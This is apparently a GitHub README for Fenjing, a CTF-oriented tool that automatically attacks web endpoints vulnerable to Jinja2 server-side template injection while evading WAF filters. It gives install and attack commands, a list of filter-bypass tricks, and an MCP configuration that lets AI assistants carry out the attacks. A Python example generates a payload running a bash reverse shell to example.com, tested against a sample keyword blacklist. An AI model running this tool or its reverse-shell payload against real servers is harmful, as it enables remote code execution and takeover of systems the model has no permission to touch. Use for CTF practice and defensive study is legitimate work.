Loading repository data…
Loading repository data…
Marven11 / repository
专为CTF设计的Jinja2 SSTI全自动绕WAF脚本 | A Jinja2 SSTI cracker for bypassing WAF, designed for CTF
Bypass the WAF without knowing WAF
焚靖是一个针对CTF比赛中Jinja SSTI绕过WAF的全自动脚本,可以自动攻击给定的网站或接口,省去手动测试接口,fuzz题目WAF的时间。
在以下方法中选择一种
# 首先使用apt/dnf/pip/...安装pipx
#pip install pipx
# 然后用pipx自动创建独立的虚拟环境并进行安装
pipx install fenjing
fenjing webui
# fenjing scan --url 'http://xxxx:xxx'
pip install fenjing
fenjing webui
# fenjing scan --url 'http://xxxx:xxx'
docker run --net host -it marven11/fenjing webui
可以直接输入python -m fenjing webui启动webui,指定参数并自动攻击
在左边填入参数并点击开始分析,然后在右边输入命令即可
在终端可以用scan功能,猜测某个页面的参数并自动攻击:
python -m fenjing scan --url 'http://xxxx:xxx/yyy'
也可以用crack功能,手动指定参数进行攻击:
python -m fenjing crack --url 'http://xxxx:xxx/yyy' --detect-mode fast --inputs aaa,bbb --method GET
这里提供了aaa和bbb两个参数进行攻击,并使用--detect-mode fast加速攻击速度
还可以将HTTP请求写进一个文本文件里(比如说req.txt)然后进行攻击
文本文件内容如下:
GET /?name=PAYLOAD HTTP/1.1
Host: 127.0.0.1:5000
Connection: close
命令如下:
python -m fenjing crack-request -f req.txt --host '127.0.0.1' --port 5000
如果已经拿到了服务端源码app.py的话,可以自动提取代码中的列表作为黑名单生成对应的payload
命令如下:
python -m fenjing crack-keywords -k app.py -c 'ls /'
此外还支持接受JSON的API,以及根据给定关键字生成payload的用法,详见examples.md
见examples.md以及--help选项
项目结构如下:
payload生成原理见howitworks.md
支持的绕过规则如下
'和"_[+-*~{{%支持绕过0-9的同时绕过加减乘除,支持的方法如下:
(39,39,20)|sum(x,x,x)|length'%c'绕过:支持绕过引号,g,lipsum和urlencode等
支持(lipsum|escape|batch(22)|list|first|last)等
支持绕过引号,任意字符串拼接符号,下划线和任意关键词
支持以下形式
'str'"str""\x61\x61\x61"dict(__class__=x)|join
'%c'*3%(97,97, 97)
'%c'也支持上面的'%c'绕过['aaa'].aaa|attr('aaa')['aaa'].aaa.__getitem__('aaa'){%set %}设置在前方各个功能的介绍:
python -m fenjing scan --url 'http://xxx/'python -m fenjing crack --url 'http://xxx/' --method GET --inputs namehttp://xxx.xxx/hello/<payload>)存在的漏洞python -m fenjing crack-path --url 'http://xxx/hello/'PAYLOAD替换成实际的payload然后提交--urlencode-payload 0关闭python -m fenjing crack-json --url 'http://127.0.0.1:5000/crackjson' --json-data '{"name": "admin", "age": 24, "msg": ""}' --key msgpython -m fenjing crack-keywords -k waf.json -o payload.jinja2 --command 'ls /'一些特殊的选项:
--eval-args-payload:将payload放在GET参数x中提交--detect-mode:检测模式,可为accurate或fast--environment:指定模板的渲染环境,默认认为模板在flask中的render_template_string中渲染--tamper-cmd:在payload发出前编码
--tamper-cmd 'rev':将payload反转后再发出--tamper-cmd 'base64':将payload进行base64编码后发出--tamper-cmd 'base64 | rev':将payload进行base64编码并反转后再发出焚靖支持通过Model Context Protocol(MCP)作为外部服务提供给AI助手使用。
在MCP客户端配置文件中添加以下配置(例如OpenCode的opencode.jsonc):
{
"mcp": {
"fenjing": {
"type": "local",
"command": ["fenjing", "mcp"],
"enabled": true
}
}
}
配置完成后,AI助手即可通过焚靖进行SSTI漏洞检测和攻击。
from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)
def waf(s: str):
blacklist = [
"config", "self", "g", "os", "class", "length", "mro", "base", "lipsum",
"[", '"', "'", "_", ".", "+", "~", "{{",
"0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
"0","1","2","3","4","5","6","7","8","9"
]
return all(word not in s for word in blacklist)
if __name__ == "__main__":
shell_payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"")
config_payload = config_payload(waf)
print(f"{shell_payload=}")
print(f"{config_payload=}")
其他使用例可以看这里
| 日期 | 金额 | 平台 | 备注ID | 备注 |
|---|---|---|---|---|
| 20250407 | ¥20 | 微信 | ||
| 20250703 | ¥18.88 | 微信 | 加油! | |
| 20251110 | ¥50 | 微信 |